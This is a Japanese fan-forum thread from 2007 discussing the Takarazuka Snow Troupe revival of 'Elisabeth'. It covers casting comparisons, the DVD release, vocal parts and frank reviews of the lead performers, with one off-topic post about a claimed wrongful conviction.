たールド：父親出し抜いて革命に成功してそうｗ
ぶんルド：革命に失敗しても母親にはすがらなさそう。ひそかにプライド高そうｗ
どっちかっていうと、うたかたのルドルフっぽい。
コムルド：革命なんか起こす気なさそう。
そも政治に興味なさげ。
ゆみルド：親父譲りの真面目さん。ママの鏡っていうか、パパの鏡っぽい。保守か革新かに分かれた点が違うだけ？
ゆひルド：若さ故の暴走。
テルルド：一番幼い。流されてるな～、と。

98 ：名無しさん＠花束いっぱい。：2007/08/08(水) 00:25:00 ID:UMM/SUyL

革命成功の確率
タールド　99％
ゆひルド　75％
ユミルド　50％
ブンルド　30％
コムルド　15％
テルルド　 1％

99 ：名無しさん＠花束いっぱい。：2007/08/08(水) 00:29:26 ID:UJCLmpgU

>98
そもそも革命が成功したら話が(ry

100 ：名無しさん＠花束いっぱい。：2007/08/08(水) 00:38:05 ID:hX+Y4B2n

タカルド、ジュリルドは？

101 ：名無しさん＠花束いっぱい。：2007/08/08(水) 00:48:07 ID:0QZpuWIy

>98ﾀｿじゃないけど

　タカルド　75%

102 ：名無しさん＠花束いっぱい。：2007/08/08(水) 04:51:13 ID:UMM/SUyL

革命成功の確率
タールド　99％
ゆひルド　75％
タカルド　75％
ｼﾞｭﾘﾙﾄﾞ　 60％
ユミルド　50％
ブンルド　30％
コムルド　15％
テルルド　 1％

ねったんルド見た人きぼん

103 ：名無しさん＠花束いっぱい。：2007/08/08(水) 06:27:19 ID:OGHpHy1f

革命成功の確率
わたるエルマー99％
ねったんエルマー85％
蘭とむエルマー70％
タカコエルマー50％
みちこエルマー30％
ひろみエルマー1％

初演雪、星、宙は観てないのであくまでイメージ。
観た方つっこみよろでつ。

104 ：名無しさん＠花束いっぱい。：2007/08/08(水) 07:26:16 ID:pgxa3NYr

＞103
月のｴﾙﾏｰはさららんでつよ。
成功率は、ひろみが1%ならさららんは2%ってとこかと。

105 ：名無しさん＠花束いっぱい。：2007/08/08(水) 08:18:16 ID:CWdTKJKB

＞テルルド　 1％
＞ひろみエルマー1％

再雪の革命チームって一体・・・orz

106 ：名無しさん＠花束いっぱい。：2007/08/08(水) 10:05:01 ID:hX+Y4B2n

DVDｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!!

発売前に届くんだね、今晩は鑑賞会だwktk

107 ：名無しさん＠花束いっぱい。：2007/08/08(水) 10:27:15 ID:gMp7UBZT

楽天で買ったら、遅いんだったよね・・・我慢、我慢。

108 ：名無しさん＠花束いっぱい。：2007/08/08(水) 12:47:36 ID:vXHOEH8b

>>107
ナカマ～～

109 ：名無しさん＠花束いっぱい。：2007/08/08(水) 13:22:14 ID:tUgcmD7P

ﾃﾙﾙﾄﾞに１％でも成功率があるってのがすごい
どういう状況だと成功するんだろうな。
反乱のさなかにフランツが急死するとか？

ﾀｶｺﾙﾄﾞの成功率が高いのはエリザベートが後押ししそうだからかな…

110 ：名無しさん＠花束いっぱい。：2007/08/08(水) 20:02:31 ID:Tl//U6yz

ﾀｶｺエルマーは企みを水面下で着々と実行しそうで
直情径行でない、いかにも革命家って感じだったとｵﾓ
>103 の成功率
漏れはねったんとﾀｶｺを入れ替えたいな

111 ：101：2007/08/08(水) 20:51:55 ID:0QZpuWIy

>109
うひルドよりか低くはなかろうと思った数字

112 ：名無しさん＠花束いっぱい。：2007/08/08(水) 21:45:01 ID:5pvPKZ2N

エリザベートの最初のシーンの裁判官の声は毎回ナマ芝居ですか？
録音テープですか？気になるので教えてください。

113 ：名無しさん＠花束いっぱい。：2007/08/08(水) 21:46:49 ID:0QZpuWIy

>112
録音です。
というのも裁判官の声をしてる人もプロローグに出てますから。

114 ：名無しさん＠花束いっぱい。：2007/08/08(水) 21:50:49 ID:YNv0K+UL

>>113　こないだルキの台詞くっちゃったの聞いたから
そうじゃないと思うんだが。
それとも音声さんのﾐｽ？

115 ：113：2007/08/08(水) 21:53:02 ID:0QZpuWIy

>112
少なくとも月は録音だと思う
裁判官の声してたエリさんはプロローグに出てた（と思う）

116 ：名無しさん＠花束いっぱい。：2007/08/08(水) 23:07:52 ID:3a5ISyC6

>>85
各役が自分の領域を守っている感じ、抑揚を押さえた感じ、まとまっている故の物足りなさ…。
私はどこかで似た印象を覚えたな、と思い出したのがナント能楽！
押してくるものがないから、良く言えば見る側の想像や感性に任された部分があったなって。
今回は各役の心情の読み取り作業を積極的にしていた自分に気づきました。

117 ：名無しさん＠花束いっぱい。：2007/08/09(木) 08:34:48 ID:Co+cBPyZ

>112
今回の磯野さんもプロローグに霊魂（ツェップス）として出てるから
録音だと思う。

118 ：名無しさん＠花束いっぱい。：2007/08/09(木) 12:26:21 ID:2IMUp5UA

【静岡】「おれと一緒にくれば自由になれる」　15歳少女を自宅に3カ月軟禁　無職男（33）を逮捕
http://news22.2ch.net/test/read.cgi/newsplus/1186629376/l50

エリザを連想してしまいました・・・

119 ：名無しさん＠花束いっぱい。：2007/08/09(木) 19:34:32 ID:uX+ajoXx

>>118
あちゃー…ﾘｱﾙﾄｰﾄは怖いねｗ

120 ：名無しさん＠花束いっぱい。：2007/08/09(木) 19:37:10 ID:ihbf+q2B

もうすぐ楽ですな
水の楽コメントに
興味あり

121 ：名無しさん＠花束いっぱい。：2007/08/10(金) 00:23:02 ID:mNTfNKrQ

コンプリートＢＯＸに入ってた花組の東京公演なんだけど、全体にテンポが速くない？
二つ並べて観てると東京の方がどんどん先に行ってしまうｗ

122 ：名無しさん＠花束いっぱい。：2007/08/10(金) 11:15:18 ID:gHyZ6Zus

うん、確かに花のが全体的にテンポ早い。
でもって画質荒い？もともと販売用に撮ったわけじゃないからか
時代のせいか・・・

123 ：みなさまのご意見をうかがいたい。：2007/08/10(金) 15:06:40 ID:0HwimPao

平成１５年８月６日、いつもどおりに横浜拘置支所４階で新聞を受け取ると、
新聞に「真っ黒なおべんとう」児玉辰春　新日本出版社、「松本サリン事件の罪と
罰」河野義行・浅野健一　第三文明社　の記事が出ていた。
出廷のため、実父にワイシャツ（東京シャツ）とズボンの差し入れをお願いすると、当
日のメモにある。逮捕時のウェストは、９７ｃｍだったが９０ｃｍを下回っていた。
体重は８０ｋｇを割り、足は動かさないので萎縮していた。死んではならないと
そのことだけ考えていた。６月ごろ、朝方、隣のいびきがすごいと思っていたら、
起き上がらず。刑務官数名が入って、状態確認していた。拘置支所は夜に脳卒中を
起こしても、房の外に出られるの可能性があるのは翌朝だ。横浜地方検察庁の
検事の顔と、都筑署の警官を忘れないために、ノートに書いた。

はっぱふみふみさんは魔女裁判で火あぶりに！！
http://academy6.2ch.net/test/read.cgi/psycho/1184980425/
冤罪：横浜都筑事件資料。
http://blue.ap.teacup.com/ladyoscar/2.html

　みなさまのご意見をうかがいたい。

124 ：名無しさん＠花束いっぱい。：2007/08/10(金) 16:17:29 ID:Y2l1B48w

ふと思った。ダイアナとエリザベートって…。似てんなぁーって………。

125 ：名無しさん＠花束いっぱい。：2007/08/10(金) 17:14:08 ID:x8d+n/Ar

>>124それ前スレで出た。

126 ：名無しさん＠花束いっぱい。：2007/08/10(金) 18:22:41 ID:K9ss/S4Y

コンプ買った。
重かった。腕が痛い・・・
郵送のサービスがあるのなら特製袋くらいサービスしてくれよ・・・。

いまお人形さんごっこしてますｗ
フランツゆみこ＆ルドルフゆみこ、瓜二つの親子だ！

127 ：名無しさん＠花束いっぱい。：2007/08/10(金) 19:24:18 ID:7zuJ9spn

>>124
てか、いろんな分野の人が言ってるさ。

128 ：名無しさん＠花束いっぱい。：2007/08/10(金) 21:22:35 ID:x8d+n/Ar

>>126ちょｗ噴いたｗｗｗｗｗ
何やってんだｗｗｗ

あさこもできるよな～と考えてたら、
ふと、某さえちゃんの合成ベルばら思い出した。

129 ：名無しさん＠花束いっぱい。：2007/08/10(金) 21:36:41 ID:Ht6j6vmX

>>126
ちょｗ漏れも仲間に入れとくれｗ
あさこエリザとあさこルキーニでレマン湖畔のシーンを是非ｗ

130 ：名無しさん＠花束いっぱい。：2007/08/10(金) 23:57:49 ID:kEDxd92K

闇が広がるのサビのパート
前回の月では、本舞台も銀橋でもトートが上でルドルフが下だったんだけど
今回の雪観たときは、本舞台ではトートが下でルドルフが上
銀橋ではトートが上でルドルフ下だったんだけど
本来はどっちが正しいの？

131 ：名無しさん＠花束いっぱい。：2007/08/11(土) 00:41:32 ID:RM7MkQW9

>130
何度も書かれてるけどﾄｰﾄが上でﾙﾄﾞﾙﾌが下
音程自体が耳で聞くよりも実際に歌うほうが難しいので
上下入れ替えはﾑﾘだよ

132 ：名無しさん＠花束いっぱい。：2007/08/11(土) 01:24:24 ID:s1b0GjaH

抱き合わせ販売のエリザDVDはどうでした？
内容が良ければ買おうと思ってるんですが。

133 ：名無しさん＠花束いっぱい。：2007/08/11(土) 02:06:18 ID:FIzzV2V0

となみさん、もともと歌がうまくないのに間違えた解釈の感情入れて歌うから
より音程外れています。歌のテクがないからこそ音符重視で丁寧に歌ってほしい。
エリザライブＣＤ、とてもじゃないけど聞いていられません･･･。
クレームつけて返品したい気分です。

134 ：名無しさん＠花束いっぱい。：2007/08/11(土) 03:57:55 ID:r5ZkrzYq

初見のときは、となみ～評判や予想より全然いいやん！と思ってたが、実況だとヒステリーさが気になるお(´･ω･`)
そんな漏れは気に入ってる曲だけを編集して聴いてまつ。

135 ：名無しさん＠花束いっぱい。：2007/08/11(土) 08:23:07 ID:xP3UPXpr

ボックス届いたんだけど、ﾊﾌｽﾌﾞﾙｸ家の紋章の上にネコの割れ物注意貼られてる(´・ω・｀)
外箱は輸送用なんだな悲しい。

136 ：名無しさん＠花束いっぱい。：2007/08/11(土) 08:26:32 ID:Hm6ua9im

>130　いつだってトートは上のメロディを歌っていましたよ、今回も。

137 ：名無しさん＠花束いっぱい。：2007/08/11(土) 08:46:56 ID:c8OCANlr

8/12(日)3:30ようやく初見…
前に千秋楽初見でアドリブのシーンで劇場全体から置いていかれた事がある
今回はわりとその心配は無いのですが…

138 ：名無しさん＠花束いっぱい。：2007/08/11(土) 09:35:17 ID:7utgaz95

>136
だよね。
エリザ本のクイズにもなってて、正解はトート上、ルド下、とちゃんと書いてある。

139 ：名無しさん＠花束いっぱい。：2007/08/11(土) 10:24:51 ID:JEkRaCgc

>126
自分もそれやったｗ
ついでに♪僕はパパの鏡だから♪と歌ってみた。

140 ：名無しさん＠花束いっぱい。：2007/08/11(土) 10:26:10 ID:1YytVb9l

カフェブレでテル本人が下を歌ってると言ってた。
でも１３０さんが見た日は入れかわってたってことですか？
東宝版はルドが上、トートが下なんだっけ？

141 ：名無しさん＠花束いっぱい。：2007/08/11(土) 11:40:23 ID:lc6sONS8

>>139
それイイ！今度自分もやろ♪
しかし花テロリストと月皇后では何を歌えば･････ｗ

>>140
ヅカは全部トート上、ルド下だよね。
ただ昔の花エンカレでゆみことえりたんが歌った時だけ逆で歌ってた。

142 ：名無しさん＠花束いっぱい。：2007/08/11(土) 12:30:35 ID:Mvkc9/zx

>>140
ウィーン版の楽譜でも、トート下、ルド上だったとｵﾓ
ヅカは、基本トップがメロディーラインてことだわな

143 ：名無しさん＠花束いっぱい。：2007/08/11(土) 13:10:48 ID:Hm6ua9im

ムラで初日が少し過ぎた頃、水トートが下を歌っていて聞こえないって
２か８で書いている人が居たから、ただの勘違いだとおもう。
その人は、叩きたかったみたいなんだけど、間違えてた。

144 ：名無しさん＠花束いっぱい。：2007/08/11(土) 15:47:59 ID:gs1PN+Qs

エリザベートが好きで､今日初めて宝塚を見てきました。
舞台が終わってもまだショーがあるってのが面白い。
役者さんは皆綺麗ですね｡

ところで、｢私だけに｣を昔一路さんが宝塚にいるときに男性の声で歌ってるのを
飛行機で聞いたことがあるのだけどあれは何だったのでしょうか？
それでてっきり宝塚ではあれはトートの歌なんだと思ってました。
｢その時～出会った～ただ一人の人｣とかいう歌詞｡
素人の書き込みですみません。

145 ：名無しさん＠花束いっぱい。：2007/08/11(土) 16:04:36 ID:r5ZkrzYq

>>144
すでに退団発表をしていた一路さんが、TCAというイベントで歌うために、卒業にふさわしい歌詞をつけたものだと思います。
誰かフォローよろでつ。

146 ：名無しさん＠花束いっぱい。：2007/08/11(土) 17:06:22 ID:aweJzZwD

イベント公演の為の歌詞ではないよ。確かに最後のTCA公演で歌ってるけど。
本公演のラストのデュエットダンスの場面で歌っている時の歌詞だよ。
一路の為に書かれた「私だけに」ね。
退団してからも、一路バージョンの私だけにをコンサートかなんかでも歌ってるよ。

147 ：名無しさん＠花束いっぱい。：2007/08/11(土) 17:09:42 ID:FDyMi/iE

一路はエリザベートが退団公演で、そのフィナーレのパレード前の最後のソロ。
ということで、卒業スペシャルな歌詞になっています。
あれ、「マイ・ウェイ」っぽかったな・・・。

148 ：名無しさん＠花束いっぱい。：2007/08/11(土) 17:35:06 ID:e2Pd6SNA

お披露目でエリザは無理だと思った。
大丈夫なのは、ウラトップの未来さん位だもの。
あとは.........

149 ：名無しさん＠花束いっぱい。：2007/08/11(土) 18:11:26 ID:ipQQEyhI

わたしもお披露目でエリザは好きじゃない。
せっかくの良い作品でもったいないというのもあるし
生徒たちもあとになってもっとできたのに…って思ってしまう気がして。
花組もオサお披露目だったけど、せっかく歌える人なんだから、
もっとトップとして落ち着いて組力も安定してくる
就任後３，４作目にあててほしかった。
オサなんてはじめからある程度長期ってわかってたんだから、余計に。

150 ：名無しさん＠花束いっぱい。：2007/08/11(土) 18:33:10 ID:gs1PN+Qs

144です。
謎が解けました！
ありがとうございます。
特別バージョンだったのですね｡

151 ：名無しさん＠花束いっぱい。：2007/08/11(土) 19:42:16 ID:1YytVb9l

でもふーちゃんのエリザも彩音のエリザも見たくないわぁ

152 ：名無しさん＠花束いっぱい。：2007/08/11(土) 19:47:30 ID:jpkQSsnl

いまさらな質問で申し訳ございません・・・
キッチュの意味を教えてください！。

153 ：名無しさん＠花束いっぱい。：2007/08/11(土) 20:06:25 ID:XkyjeGho

ググレ

154 ：名無しさん＠花束いっぱい。：2007/08/11(土) 21:46:06 ID:8hoZqIf2

エリザに出演したこと無い上級生って
花→該当者なし（88期以下は除外）
月→かなみん（90期以下は除外）
星→しいちゃん（83期以下は除外）
宙→タニ（85期以下は除外）
だけ？トップ二人がエリザ未経験…。
しかも、かなみんは組替え3回…。
かなみんは経験させてほしい。歌えるんだから。

155 ：名無しさん＠花束いっぱい。：2007/08/11(土) 21:48:06 ID:7HReGVQG

しいちゃん雪エリザでてるよ

156 ：名無しさん＠花束いっぱい。：2007/08/11(土) 21:49:39 ID:Mvkc9/zx

>>154
しいちゃんて、初演雪組の時に出演してるんじゃないの？

157 ：名無しさん＠花束いっぱい。：2007/08/11(土) 21:59:48 ID:ULYvHQ1R

えりたん出てないぞ

158 ：名無しさん＠花束いっぱい。：2007/08/11(土) 22:04:04 ID:RHITuit/

>112
録音ですよ。
録音のときにキムが台詞を言ってくれたそうです。

歌劇かグラフに書いてあったかな？どこかでその話出ていましたよ。

159 ：名無しさん＠花束いっぱい。：2007/08/11(土) 23:05:18 ID:XkyjeGho

あひ出てないんじゃ・・・

160 ：名無しさん＠花束いっぱい。：2007/08/11(土) 23:21:51 ID:8hoZqIf2

訂正
花→えりたん
月→アヒ、かなみん
雪→該当者なし
星→該当者なし
宙→タニ

161 ：名無しさん＠花束いっぱい。：2007/08/12(日) 00:01:29 ID:i4oOmzPX

ついでにかなみんは組替え2回だとｵﾓ

162 ：名無しさん＠花束いっぱい。：2007/08/12(日) 00:19:33 ID:MdY3vWTU

>160
宙は、タニとウメ。それから84期以下の宙配属生。
星も、レオンとか、83期以下の配属生は未経験かと。

未経験の生徒は結構多いとｵﾓ。

163 ：名無しさん＠花束いっぱい。：2007/08/12(日) 02:20:04 ID:G3bua84F

楽近くにやっと観た。エリザ自体は良い作品だから楽しめたけど、
敢えて現体制の雪組で上演する必要性は無かったと思う。
理由は主演の二人（特にシシィの方）が余りにもミスキャストで、
最後まで作品の世界に感情移入出来なかったから。
ゾフィとフランツは、歌唱力も役作りも良かったと思う。
ニンに合うキャストが揃う迄は、簡単に再演して欲しく無いと残念
に思いました。

164 ：名無しさん＠花束いっぱい。：2007/08/12(日) 08:56:08 ID:eZe88KTC

雪エリザの東宝千秋楽って、スカステで全編収録ありですか？

165 ：名無しさん＠花束いっぱい。：2007/08/12(日) 14:29:43 ID:6Re9dTbK

私は水のトートはとても良かったと思う。
でもシシィがなぁ…
水トートとあすかシシィで観たかったよ。
その選択肢もあったと思うんだが、
どうしてあすかじゃダメだったのかなぁ。

166 ：名無しさん＠花束いっぱい。：2007/08/12(日) 14:47:43 ID:cZ2s+gJG

ほんと人それぞれだね。
私はとなみのシシィ、けっこう好きだった。

167 ：名無しさん＠花束いっぱい。：2007/08/12(日) 15:30:35 ID:SKRNi1mU

となみシシィは歴代シシィに不満だった部分が解消されててかなり好き。
一番のネックは歌唱力だけどこれは歴代シシィも似たようなもんだから。

168 ：名無しさん＠花束いっぱい。：2007/08/12(日) 15:46:06 ID:co5aq+0D

ずっとロムしてるけど
水トート、人間臭いという人と人智を超えてるという人、
エロいエロくない、
個性的という意見と薄味すぎるという意見に
それぞれまっぷたつにわかれているのが興味深い。
同じ舞台を見てこれほど受ける印象が両極端ってのは面白いですね。
私は、あんまりエロは感じず、
かなり人間寄りで薄味なトートと思ったほう。
そして歴代トートの中でいちばん純朴でかわいいと思いました。

シシィ・ルドルフ・登場時のフランツも
歴代の中で一番幼いイメージを受けた。
ルキーニも、ルキーニ６兄弟の末っ子って感じ。
でも今回の上品な雪エリザ、どのキャラも好きでした。
あと一回くらい見たかったな。

169 ：名無しさん＠花束いっぱい。：2007/08/12(日) 15:50:00 ID:hOA0lYnP

雪エリザDVDをじっくり見終わった
別アングルではオペラで追いきれなかった表情なんて
見れて、ミズはもちろん主要メンバーは細かい芝居を
頑張ってるなと思ったよ

ミズ：感情溢れるトートは賛否あるだろうけど
私は好きだった。歌はミズ比では相当上手くなってて吃驚したよ。
ただアップになると肌荒れが目立って、ミズ本人が一番辛かったと
思うけど残念だった。

となみ：とりあえずヴィジュアルだけで「宝塚のエリザベート」を
クリア出来てるし、全体的に及第点だけどもう少しとなみのエリザベート像を
見せて欲しかった。

ゆみことキムは劇場で見たときと殆ど変わらず上手いなーと。
ゆみこの表情だったり、キムの顔芸見られてはDVD買って良かった。

テル：一番DVD見て評価変わったかな。劇場で見たときよりも
繊細さが伝わってくるようだった。メイクは研究の余地ありかと。

お稽古場映像でミルクのカゲコーラス部隊の勢いが凄い！
ハマコ最高でしたｗ

170 ：名無しさん＠花束いっぱい。：2007/08/12(日) 15:59:34 ID:N0wC3eRR

となみシシィとてもよかった。
大役のプレッシャーや再演ゆえの厳しい評価に答えるだけの
美しさと強さを併せ持つシシィだったよ。

171 ：名無しさん＠花束いっぱい。：2007/08/12(日) 16:45:21 ID:g2tSt+Kx

>>168
可愛いっていう感想、同感です。
今回の雪エリザは、水彩画のような淡い上品なイメージ。
ﾊﾞｰﾄｲｼｭﾙの場面でとなみが着たドレスの水色が象徴的だなぁと。

賛否両論ありますが、私はすごく好きなエリザでした。

172 ：名無しさん＠花束いっぱい。：2007/08/12(日) 21:24:43 ID:co5aq+0D

>171
>水彩画のような淡い上品なイメージ

言い得て妙ですね、同感です。
コテコテの濃くて熱いエリザも好きですが、
今回のようなエリザも見れるのが、宝塚の良さだなぁと思います。

173 ：名無しさん＠花束いっぱい。：2007/08/12(日) 22:54:36 ID:ZvVQ26PG

本日、最後に観てきました。３回目。

水トート：どこまでも人間臭かった。外見はとてつもなく妖しいけど。ちょっぴりホラー風味。
となみエリザ：強さの方向が間違っていると思う。暴走しすぎ。一所懸命さは伝わるけど・・・。
ゆみこフランツ：「シシィ、フランツにしとけって」と何度も思った。歌と雰囲気で落ちかけた。
キムルキーニ：今日初めてキムの良さが分かった気がする。一皮向けたんじゃないかしら？
テルルドルフ：もう少し苦悩の表情が出来ればいいな。歌もこれからだね。

初見の友人はとても楽しんでいたみたい。ＤＶＤ買ってました。　　　　　　　

174 ：名無しさん＠花束いっぱい。：2007/08/12(日) 23:25:44 ID:h1XYQW9V

>164
放送があるかどうかは分かりませんが、月組のエリザベートは
2006年の元旦に東宝千秋楽が放送されましたよ。
ちなみに、今年の元旦は大劇場公演(DVDの映像)でした。
参考までに･･･。

175 ：名無しさん＠花束いっぱい。：2007/08/12(日) 23:41:58 ID:SKRNi1mU

周りの役者たちは実力発揮で見事だった。
非実力派と考えられていたトップコンビも役作りがすばらしくて
トートとシシィの関係性がすごく明確になっていたと思う。

176 ：名無しさん＠花束いっぱい。：2007/08/12(日) 23:58:25 ID:6Tt2xg0s

感情をあらわにしてもまったく人間臭さのないトートを観て
感情って人間の特色ではないんだ
人間以外にも感情はあるんだよねと改めて感じたりした。

177 ：名無しさん＠花束いっぱい。：2007/08/13(月) 00:13:49 ID:XMLcm3eo

>>176
むしろ感情むき出しだからこそ、人間ぽくないのでは？
マテトートを見てそう感じた
前に水トートはウィーン版の影響で、宝塚らしいトートに強く回帰したトートって書いてる人が居たけど、私はアプローチは違えど本質的にマテトートに良く似ていると思った

さえちゃんのトートは黄泉の帝王としての威厳だとか品格を重視して、感情を抑えた役作りだった
水のトートは逆に品格や威厳なんかは全く意識してない
幼い･純粋だからこそ人間としては、何か欠落してそうな人ではないような雰囲気なんだと。

178 ：名無しさん＠花束いっぱい。：2007/08/13(月) 00:24:37 ID:X8wPaDw4

あーあ、となみは結局何もできずに終わっちゃった。

179 ：名無しさん＠花束いっぱい。：2007/08/13(月) 00:32:10 ID:c/Qmh7rS

幼く純粋なトート…ぴったりな表現だ。
歴代トートの中で最も若々しいと言われたオサトートも
水トートの後に見ると老成して見える。

思わずトート６兄弟wの性格設定を考えてしまいそうな腐女の漏れ

180 ：名無しさん＠花束いっぱい。：2007/08/13(月) 01:18:02 ID:P+LHfRnT

マデレーネのバレエにがっかり・・・
足ずっと曲がったままだよ。。
もっとダンス上手い子いたんじゃないかな。
表情とかはかわいかったけど。

181 ：名無しさん＠花束いっぱい。：2007/08/13(月) 01:33:11 ID:trWDHPzJ

幼い、か。なるほど。
私はあまりにも帝王らしい威厳が無くてorzとなったクチだ。

マデレーネは確かに頑張っていたんだろうけど、
上手いダンサーで観たかったね。

182 ：名無しさん＠花束いっぱい。：2007/08/13(月) 01:49:13 ID:UznGRP1Z

幼いって物は言い様だねｗ
確かに拙い芸って点では、幼いと言えるんだろうけど
見た目はオサより完全に老けてたじゃんｗ

下手だと「幼くて純粋」って言うのか・・・勉強になったﾜｗ

183 ：名無しさん＠花束いっぱい。：2007/08/13(月) 02:06:56 ID:AAWj643b

なんかこの何日か、こういう幼～いヒネクレた文章書く人が
あちらこちらに出没してるね。

184 ：名無しさん＠花束いっぱい。：2007/08/13(月) 02:58:49 ID:YxXPB0RG

ルキーニとマデレーネっていっつもキスしてた？
今日あまりにも熱いちゅーでびっくらこいた＠１１時公演
今期のマデレーネちゃんロリ系で好きでしたｗ
黒天使の中でもマデレーネは一人胸潰してないんだね

185 ：名無しさん＠花束いっぱい。：2007/08/13(月) 07:41:25 ID:diWTJWR7

ミズさんには是非！セリフで！歌ではもったいない。
白羽さんは誰とも演技をしていなかった・・・
彩吹さん、もっと出しても良かったのでは。
音月さん、なんていうか・・・声が以外にかわいいのにびっくり。

なのでゾフィーさんが憎く思えない。
そりゃ尻ひっぱたきたくなるわな。

186 ：名無しさん＠花束いっぱい。：2007/08/13(月) 07:51:57 ID:5P1GQm+8

感情むき出し＝人間的
というのはちょっと違うように思う。
人間（大人）なら、感情をその塊のままに吐露することは、
理性が邪魔をして逆にためらいを感じるもの。
「幼さ」と感じられるのは、そういう点かもしれないけど、
人外の者としてのある意味大らかな・プリミティブな感情表現となると、
むしろ、ギリシア神話とか古事記・日本書紀などに登場する
八百万の神々のそれを想起させられた。

面白いトートを造型してくれて、感謝。

そして、6回目の再演、ウイーン版来日等のプレッシャーの中、
熱く素晴らしい舞台を魅せてくれた雪組＋立さん（涙）ソルーナさん、
ありがとう。

187 ：名無しさん＠花束いっぱい。：2007/08/13(月) 08:11:18 ID:FIrpaYhV

>>186
感情むき出し＝人間ぽくない

って書いてるよ～。

188 ：名無しさん＠花束いっぱい。：2007/08/13(月) 08:43:04 ID:5P1GQm+8

ごめん、書き方がまぎらわしかった。
176さん、177さんに、その部分は同感で、
世間で言われがちなのはこうだけど、という意味合いでした。

189 ：名無しさん＠花束いっぱい。：2007/08/13(月) 09:31:45 ID:hL1AcLOO

幼く純粋なトート。
となみが何も出来ないで終わった。
ふ～ん。
これがネット操作ってやつか。

190 ：名無しさん＠花束いっぱい。：2007/08/13(月) 11:33:59 ID:VpP/rhEl

>幼く純粋
これ、私はトートだけじゃなく全体的に感じたなあ。
だから、上手い下手は又別問題だと思う。
雪スレで雪組は元々家族的であるけれど、
今は兄弟テイストみたいな事言ってる人がいたけど、
そういうのも影響してるのかな。
主要な役付きの学年は今までと変わらない（上？）けど、
組の平均が若いんじゃないだろうか。
専科さんも抜けていくし七演目以降どうなるだろう。

191 ：名無しさん＠花束いっぱい。：2007/08/13(月) 11:39:13 ID:omZoKw4Q

私は今回の雪エリザ好きだったな。誰がダメとか嫌とか無くて、皆良かった。 DVD予約出遅れて、今届くの待ってるとこ。早く来ないかなぁ、楽しみだ～。

192 ：名無しさん＠花束いっぱい。：2007/08/13(月) 12:38:41 ID:gwc1Ux8h

私も今回の雪エリザ大好きだ。
DVDも良かったよ。

193 ：名無しさん＠花束いっぱい。：2007/08/13(月) 17:55:37 ID:OjKXJAbH

東京にきて日々進化しつづけてたからDVDはやっぱりちょっと物足りないかな。
でもｴﾘｻﾞの世界が幕とじてしまったからDVDみて当分余韻にひたりながら過ごそう。

194 ：名無しさん＠花束いっぱい。：2007/08/13(月) 19:37:13 ID:W8Rq5h3M

再演雪エリザ大好きなのですが、一つ気になった。
CDの私だけに（３人編）のとなみの詩
「ただ～私の人生は～」のところで、たた～といっている気がしてならん。

195 ：名無しさん＠花束いっぱい。：2007/08/14(火) 00:57:39 ID:uGJiGfXv

星組で妃里梨江シシィ見たかったなと死んだ子の歳数えw
歌唱力は床とそんなに変わらないか
ビジュアルでねぇ

196 ：名無しさん＠花束いっぱい。：2007/08/14(火) 02:18:20 ID:cfE73Dqu

エリザベートがみたいOG
ほさち・ミエ・まっひー・そんちゃん・みこ・るいるい

197 ：名無しさん＠花束いっぱい。：2007/08/14(火) 08:39:40 ID:AVmGvl9z

>196
ほさち！　ほさちシシィに水トート。ミーマイ新公コンビのエリザも面白そう。
ほさちの声は独特だが、シシィの凜とした強さ、美しさは合っている気がするね。

198 ：名無しさん＠花束いっぱい。：2007/08/14(火) 12:10:14 ID:TgD5488c

水はまだいていいトートだと思う。
これでシシィがすばらしかったらいい舞台だっただろうと思う。
それにしてもとなみの演技初めて見たけど静止画だと美しいのに動くとアチャーなタイプだね。
ルドルフも同じく。もったいない。

199 ：名無しさん＠花束いっぱい。：2007/08/14(火) 12:43:30 ID:0uMLVY5Q

>>196
怖いモノ見たさで、まひるのシシィが見てみたいとずっと思っていたｗ

200 ：名無しさん＠花束いっぱい。：2007/08/14(火) 12:48:51 ID:b4E2Q3AJ

>194
私が見た日には
「出てって！あなたには～たゆらな～い～♪」って歌ってたよ

201 ：名無しさん＠花束いっぱい。：2007/08/14(火) 15:35:25 ID:PWccHgds

わたしはいつも
『あなたにら～たよらない～！』と聞こえた。

202 ：名無しさん＠花束いっぱい。：2007/08/14(火) 17:44:35 ID:b4E2Q3AJ

おどるエリザベートにﾎﾞｸもでるでつ
　　ノノノハ　
　 ( ●▽●)
　（　　つと）ゞ
　　 ∪　∪

　　　　ノﾉノﾉハ　　
⊂⌒つ●▽●）つ　 ♪エリッザ
　　　ゝ　　ノ
　　　　∪

　
　　　　　　 ☆ハノ☆　　　
　　☆　　　（●▽●）ノ☆．゜． ♪ベー
　　　　　☆く(　へ）　　　　　☆
☆　　　　　　く　　　　☆

203 ：名無しさん＠花束いっぱい。：2007/08/14(火) 17:46:09 ID:b4E2Q3AJ

ひいぃ～
ベストキャスティングのスレと誤爆した…

204 ：名無しさん＠花束いっぱい。：2007/08/14(火) 18:10:30 ID:dhgkDAba

>202.203
音声なしだから許す（ＡＡｶﾜｴｴ･･）

205 ：名無しさん＠花束いっぱい。：2007/08/14(火) 19:23:04 ID:GpQi98ai

ＤＶＤ届きました。うーん水は良いけどトナミがね･･･････････。
となみちゃん、ＶＩＳＡの６月号で「音は音程としてではなく感情として捉えたい」
と言ってましたが、それはズンコや花總レベルの方に許されるコメントでつよ。
となみちゃんの現状だと、音程を確実にとってから感情表現の２ステップ必要です。
基本って大切だよね～とつくづく思った。

206 ：名無しさん＠花束いっぱい。：2007/08/14(火) 19:42:37 ID:V2o9WnS2

激しくトートとシシィが最悪なエリザだった。
下手な上にそれをごまかすように流れを無視した役作り。
二人の出てないシーンがどれだけ見やすかったか。
二度とこんな不出来な人たちが主演のときにエリザをしないでほしいです。
ついでに水さんととなみちゃんは、もうウンザリなので、早く辞めて、
後進に道を譲ってほしいです。

207 ：名無しさん＠花束いっぱい。：2007/08/14(火) 19:46:41 ID:oU4U86Hh

>205
花總レベル…？？？
歌唱力という点では女帝ととなみは大差ないっつーか
となみの方がマシなくらいだと思うのだが。

208 ：名無しさん＠花束いっぱい。：2007/08/14(火) 20:00:32 ID:nuWYrkt4

>202
おまい、ｵｲﾗが魔○峰央スレに貼ったやつ取ってきたな？

209 ：名無しさん＠花束いっぱい：2007/08/14(火) 20:16:07 ID:mX1rxDJO

東宝エリザが・・・決まったらしい？？

210 ：名無しさん＠花束いっぱい。：2007/08/14(火) 20:16:24 ID:QeKpABn+

>207
胴衣。
女帝ととなみの違いは芝居だとｵﾓ。
歌は、声質からいえばとなみの方が上だし
それ以外も女帝の方が上って程のものはない。

